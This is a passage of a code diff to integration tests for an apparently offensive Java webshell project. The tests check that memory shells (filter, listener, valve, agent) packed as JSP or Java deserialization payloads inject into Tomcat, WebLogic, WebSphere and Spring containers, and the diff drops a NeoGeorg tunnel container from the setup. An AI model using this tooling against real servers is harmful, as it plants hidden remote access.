-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java

@@ -12,7 +12,6 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
 import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
@@ -21,7 +20,6 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.util.List;
 import java.util.stream.Stream;
 
-import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile;
 import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
 import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
@@ -36,16 +34,9 @@ import static org.hamcrest.MatcherAssert.assertThat;
 public class SpringBoot2WebFluxContainerTest {
     public static final String imageName = "springboot2-webflux";
 
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
             .withDockerfile(springBoot2WebfluxDockerfile))
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/test"))
             .withExposedPorts(8080);
 
@@ -66,7 +57,7 @@ public class SpringBoot2WebFluxContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java

@@ -12,7 +12,6 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
 import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
@@ -21,7 +20,6 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 import java.util.List;
 import java.util.stream.Stream;
 
-import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile;
 import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
 import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
@@ -35,16 +33,10 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class SpringBoot3WebFluxContainerTest {
     public static final String imageName = "springboot3-webflux";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
             .withDockerfile(springBoot3WebfluxDockerfile))
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/test"))
             .withExposedPorts(8080);
 
@@ -64,7 +56,7 @@ public class SpringBoot3WebFluxContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,24 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Tomcat10ContainerTest {
     public static final String imageName = "tomcat:10.1-jre11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Tomcat;
-        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
+        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,  ShellType.JAKARTA_WEBSOCKET,
                 ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
@@ -67,6 +58,6 @@ public class Tomcat10ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -35,18 +33,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 public class Tomcat11ContainerTest {
 
     public static final String imageName = "tomcat:11.0-jre17";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -68,6 +59,6 @@ public class Tomcat11ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -35,19 +33,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 public class Tomcat11JRE21ContainerTest {
 
     public static final String imageName = "tomcat:11.0-jre21";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
-
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -69,6 +59,6 @@ public class Tomcat11JRE21ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,20 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Tomcat5ContainerTest {
     public static final String imageName = "reajason/tomcat:5-jdk6";
-
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
-
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -68,6 +57,6 @@ public class Tomcat5ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Tomcat6ContainerTest {
     public static final String imageName = "reajason/tomcat:6-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -67,6 +58,6 @@ public class Tomcat6ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Tomcat7ContainerTest {
     public static final String imageName = "tomcat:7.0.85-jre7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +57,6 @@ public class Tomcat7ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -35,19 +33,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 public class Tomcat8ContainerTest {
     public static final String imageName = "tomcat:8-jre8";
 
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
-
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -68,6 +58,6 @@ public class Tomcat8ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Tomcat9ContainerTest {
     public static final String imageName = "tomcat:9-jre9";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -67,6 +58,6 @@ public class Tomcat9ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
@@ -33,18 +31,11 @@ import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjec
 @Slf4j
 public class WebLogic1036ContainerTest {
     public static final String imageName = "reajason/weblogic:10.3.6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(weblogicPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(7001);
 
@@ -68,7 +59,7 @@ public class WebLogic1036ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class WebLogic12214ContainerTest {
     public static final String imageName = "reajason/weblogic:12.2.1.4";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(weblogicPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(7001);
 
@@ -65,7 +56,7 @@ public class WebLogic12214ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class WebLogic14110ContainerTest {
     public static final String imageName = "reajason/weblogic:14.1.1.0";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(weblogicPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(7001);
 
@@ -65,7 +56,7 @@ public class WebLogic14110ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.BindMode;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -36,18 +34,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class WebSphere855ContainerTest {
     public static final String imageName = "reajason/websphere:8.5.5.24";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(webspherePid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
             .withExposedPorts(9080)
             .withPrivilegedMode(true);
@@ -69,7 +60,7 @@ public class WebSphere855ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.BindMode;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -36,18 +34,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class WebSphere905ContainerTest {
     public static final String imageName = "reajason/websphere:9.0.5.17";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(webspherePid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
             .withExposedPorts(9080)
             .withPrivilegedMode(true);
@@ -68,7 +59,7 @@ public class WebSphere905ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.BindMode;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -36,18 +34,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class WebSphere700ContainerTest {
     public static final String imageName = "reajason/websphere:7.0.0.21";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
